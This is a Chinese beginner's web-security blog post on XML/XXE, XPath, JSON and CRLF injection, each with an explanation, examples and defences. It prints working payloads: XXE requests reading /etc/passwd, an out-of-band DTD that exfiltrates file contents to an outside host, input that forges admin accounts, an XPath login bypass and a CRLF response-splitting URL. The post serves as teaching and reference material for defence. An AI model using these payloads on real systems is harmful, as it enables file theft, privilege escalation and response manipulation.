WEB安全第五篇--其他注入的奇技淫巧:XML注入、Xpath注入、Json注入、CRLF注入
零、前言
最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。
一、XML注入:
1、本质:
XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。
2、举例说明:
"""
原始组织数据如下:
<USER role="guest">
<name>user1</name>
<password>uesr1</password>
<email>user1@test.com</email>
</USER>
用户本应提交的数据是user1 , user1 ,user1@test.com
如果用户提交的数据是
POST下
name = user1&passwd=user1&email=user1@test.com</email></USER><USER role="admin"><name>attack</name><password>attack</password><email>attack@test.com
就会导致生成一个新的管理员账户attack
"""
/*
(1)有回显,直接读取文件
*/
<?php
$xml=$GET['XML'];
$data = simplexml_load_string($xml);
print_r($data);
>
/*
攻击请求get a.b.c.d?xml=<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root><name>&xxe;</name></root>
*/
/*
(2)引用远程server上的XML文件 读取文件
*/
/*#1.xml:
<!ENTITY % a SYSTEM "file:///etc/passwd">
<!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com%a;'>"> %b;%c
#payload
<?xml version="1.0" encoding="utf-8">
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">
%remote;]>
*/
<!--原始XML为:-->
<?xml version="1.0" encoding="UTF-8"?>
<adminuser>
<admin id="1">
<name>admin</name>
<password>admin</passsword>
</admin>
</adminuser>
<!--
例如攻击者可以修改password部分,则可以如下构造:
输入:
<admin></password></admin><admin id=2><name>test</name><password>test</password></admin>
那么XML文件则会变成:
-->
<?xml version="1.0" encoding="UTF-8"?>
<adminuser>
<admin id="1">
<name>admin</name>
<password>admin</passsword>
</admin>
<admin id="2">
<name>test</name>
<password>test</passsword>
</admin>
</adminuser>
<!--
增加了一个管理员权限账号。
-->
3、危害:
#常见攻击手段包括:
#读取本地文件(可能包含敏感信息 /etc/shadow)
#内存侵犯
#任意代码执行
#拒绝服务
4、防御:
#对有改变XML结构的特殊输入进行过滤或者编码
#filter list = ["&","<",">","'".'"',"/"]
#在XML保存和展示之前都需要
二、Xpath注入:
1、本质:
#Xpath是类似SQL的一种从XML结构中搜索节点数据的语言(DSL),其注入放手就是构造完整可执行的DSL,本质与SQL注入一样。
2、举例:
一般结构//nodename[ colunmname/colunmtype()="xxxxxx" and .......]
例如:
//USER [username/text()="admin" and password/text()="123456"]
注入就是在引号内内容着手构造:
例如password=> 111" or "2"="2
3、防御:
防御很简单,过滤特殊输入字符即可。
三、Json注入:
1、本质:
@json也是传输数据的一种格式,增加一个用户的json结构如下:
{"adduser":[{"username":"admin1","password":"123456"}]},可以注入多增加一个 password=>123456"},{"username":"admin2","password":"123456
2、防御:
过滤关键字即可。
四、CRLF注入也叫HTTP响应截断:
1、本质:
也叫CRLF注入攻击。CR、LF分别对应回车(%0d)、换行(%0a)字符。HTTP头由很多被CRLF组合分离的行构成,每行的结构都是“键:值”。如果用户输入的值部分注入了CRLF字符,它就有可能改变HTTP报头结构。
2、举例:假设数据部分是xss payload则会中招啊
"""
(1)REQUEST-METHOD : GET
URL : http://a.b.c.d/index.html?language=Chinense
RESPONSE :
HTTP/1.1 302 Moved Temporarily GMT\r\n
Date: ********
Location:http://a.b.c.d/zhcn.html
Server:******
******
(2)REQUEST-METHOD : GET
URL : http://a.b.c.d/index.html?language=Chinense%0d%0aContent- Length%3a+%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a%+text%2fhtml%d%0aContent-Length%3a+24%0d%0a%3chtml%3eI%e2%80%99m+hacker!%3c%2fhtml%3e
实际上就是:
Chinese
Content-Length:0 HTTP/1.1 200 OK
Content-Type:text/html
Content-Length:24 <html>I'm hacker!</html> RESPONSE :
HTTP/1.1 302 Moved Temporarily GMT\r\n
Date: ********
Location:http://a.b.c.d/zhcn.html
Content-Length:0 HTTP/1.1 200 OK
Content-Type:text/html
Content-Length:24 <html>I'm hacker!</html>
Server:******
****** 修改编码格式,避免过滤函数过滤掉常用恶意payload符号的UTF-8,GBK,Unicode编码.
等 当然可以不加新的http响应头,直接注入\r\n(CRLF)和payload 常见的容易出问题的PHP函数
header()
setcookie()
session_id()
setrawcookie() 位置:
location -> 重定向到恶意地址
set-cookie -> 把自己数据写入cookie
"""
3、防御:
限制用户输入的CR和LF,或者对CR和LF字符正确编码后再输出
WEB安全第五篇--其他注入的奇技淫巧:XML注入、Xpath注入、Json注入、CRLF注入的更多相关文章
- Web安全相关(五):SQL注入(SQL Injection)
简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...
- Python之路【第十五篇】:Web框架
Python之路[第十五篇]:Web框架 Web框架本质 众所周知,对于所有的Web应用,本质上其实就是一个socket服务端,用户的浏览器其实就是一个socket客户端. 1 2 3 4 5 6 ...
- 《手把手教你》系列技巧篇(四十五)-java+ selenium自动化测试-web页面定位toast-上篇(详解教程)
1.简介 在使用appium写app自动化的时候介绍toast的相关元素的定位,在Web UI测试过程中,也经常遇到一些toast,那么这个toast我们这边如何进行测试呢?今天宏哥就分两篇介绍一下. ...
- 【Python五篇慢慢弹】快速上手学python
快速上手学python 作者:白宁超 2016年10月4日19:59:39 摘要:python语言俨然不算新技术,七八年前甚至更早已有很多人研习,只是没有现在流行罢了.之所以当下如此盛行,我想肯定是多 ...
- 【Python五篇慢慢弹】数据结构看python
数据结构看python 作者:白宁超 2016年10月9日14:04:47 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondoc ...
- 【Python五篇慢慢弹(3)】函数修行知python
函数修行知python 作者:白宁超 2016年10月9日21:51:52 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondoc ...
- 【Python五篇慢慢弹(4)】模块异常谈python
模块异常谈python 作者:白宁超 2016年10月10日12:08:31 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondo ...
- 【Python五篇慢慢弹(5)】类的继承案例解析,python相关知识延伸
类的继承案例解析,python相关知识延伸 作者:白宁超 2016年10月10日22:36:57 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给 ...
- 第五篇 :微信公众平台开发实战Java版之如何获取公众号的access_token以及缓存access_token
一.access_token简介 为了使第三方开发者能够为用户提供更多更有价值的个性化服务,微信公众平台 开放了许多接口,包括自定义菜单接口.客服接口.获取用户信息接口.用户分组接口.群发接口等, 开 ...
随机推荐
- Hive UDF IP解析(二):使用geoip2数据库自定义UDF
开发中经常会碰到将IP转为地域的问题,所以以下记录Hive中自定义UDF来解析IP. 使用到的地域库位maxmind公司的geoIP2数据库,分为免费版GeoLite2-City.mmdb和收费版Ge ...
- html中的label配合checkbox,redio用法
<input id="a1" type="checkbox" name="a" value="33023" /&g ...
- div 边框
1.四个边框border-left 设置左边框,一般单独设置左边框样式使用border-right 设置右边框,一般单独设置右边框样式使用border-top 设置上边框,一般单独设置上边框样式使用b ...
- 关于Cocos2d-x很多奇怪的报错
1.说什么找不到类和命名空间,但是已经包含头文件 项目-属性-配置属性-C/C++-附加包含目录-编辑-添加新行-写上$(EngineRoot) 2.很多语句报错,但是都没问题 我是这样理解的,书上的 ...
- dirname(__FILE__) 介绍
简单地说: __FILE__ 返回当前 路径+文件名 dirname(__FILE__) 返回当前文件路径的 路径部分 (后面没有“\”号) dirname(di ...
- ActiveMQ-5.13.0集群
ActiveMQ集群介绍 ActiveMQ具有强大和灵活的集群功能,但在使用的过程中会发现很多的缺点,ActiveMQ的集群方式主要由两种:Master-Slave(ActiveMQ5.8版本已不可用 ...
- 演示-JQuery关系选择器
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- 【matlab】图像去噪的代码测试
%% 自己设置频域的滤波窗口 girl=imread('F:\Users\*****\Pictures\CGS_stripe1.bmp'); girl=rgb2gray(girl); girl=im2 ...
- golang包管理
https://studygolang.com/articles/8413 https://studygolang.com/articles/10523
- 关于 MVVMLight 设计模式系列
MVVM设计模式你可以在WPF.Silverlight.Windows Phone开发中使用,我想至今已经有非常非常多的朋友正在使用MVVM设计模式,尤其是MVVMLight . 本系列文章以WPF举 ...